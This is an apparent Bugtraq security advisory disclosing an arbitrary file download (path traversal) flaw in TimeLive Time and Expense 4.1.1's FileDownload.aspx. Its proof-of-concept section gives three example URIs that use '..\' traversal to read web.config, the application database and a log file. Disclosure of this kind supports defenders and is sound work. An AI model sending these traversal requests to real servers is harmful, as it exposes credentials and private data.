TimeLive Time and Expense 'FileDownload.aspx' Arbitrary File Download Vulnerability

BID:49817

Info

TimeLive Time and Expense 'FileDownload.aspx' Arbitrary File Download Vulnerability

Bugtraq ID: 49817
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Sep 28 2011 12:00AM
Updated: Sep 28 2011 12:00AM
Credit: Nathaniel Carew
Vulnerable: TimeLive TimeLive Time and Expense 4.1.1
Not Vulnerable:

Discussion

TimeLive Time and Expense 'FileDownload.aspx' Arbitrary File Download Vulnerability

TimeLive Time and Expense is prone to a vulnerability that lets attackers download arbitrary files. This issue occurs because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary files within the context of the application. Information harvested may aid in launching further attacks.

TimeLive Time and Expense 4.1.1 is affected; other versions may also be vulnerable.

Exploit / POC

TimeLive Time and Expense 'FileDownload.aspx' Arbitrary File Download Vulnerability

An attacker can exploit this issue using a browser.

The following example URIs are available:

http://www.example.com/TimeLive/Shared/FileDownload.aspx?FileName=..\web.config
http://www.example.com/TimeLive/Shared/FileDownload.aspx?FileName=..\App_Data\TimeLive.mdf
http://www.example.com/TimeLive/Shared/FileDownload.aspx?FileName=..\Log\TimeLive.log

Solution / Fix

TimeLive Time and Expense 'FileDownload.aspx' Arbitrary File Download Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

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